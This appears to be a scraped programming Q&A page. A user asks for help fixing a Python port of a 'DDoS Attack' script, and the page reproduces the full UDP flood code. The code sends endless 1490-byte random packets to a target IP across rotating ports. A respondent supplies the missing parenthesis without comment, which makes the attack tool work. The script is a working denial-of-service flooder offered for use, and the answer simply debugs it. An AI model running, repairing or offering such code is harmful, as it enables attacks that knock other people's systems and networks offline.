the code is avaible on github in python 2, so i changed it a little bit but now, it says there is an syntax error and I have no idea how to fix. CODE:
import sys
import os
import time
import socket
import random
#Code
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
################################################################################
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
################################################################################
os.system("clear")
os.system("figlet DDos Attack")
print("DDoS_Tool")
print("Author : ...")
print(" ")
ip = input("IP Target : ")
port = input("Port : ")
print(" ")
os.system("clear")
os.system("figlet Attac Starting")
os.system("figlet Attack Starting")
print ("[ ] 0% ")
time.sleep(2)
print ("[===== ] 25%")
time.sleep(4)
print ("[========== ] 50%")
time.sleep(3)
print( "[=============== ] 75%")
time.sleep(4)
print ("[====================] 100%")
time.sleep(1)
sent = 0
while True:
try:
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
print ("Sent %s packet to %s throught port:%s"%(sent,ip,port)
if port == 65534:
port = 1
except:
print("ERROR, try again")
time.sleep(2)
exit()
That's the code, and it says there is a syntax-error at:
if port == 65534:
and the ":" gets marked red.
I've no idea how to fix it.
You are missing a parantesis close for the print statement:
while True:
try:
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
print ("Sent %s packet to %s throught port:%s"%(sent,ip,port)) #here
if port == 65534:
port = 1
except:
print("ERROR, try again")
time.sleep(2)
exit()
Collected from the Internet
Please contact [email protected] to delete if infringement.
Comments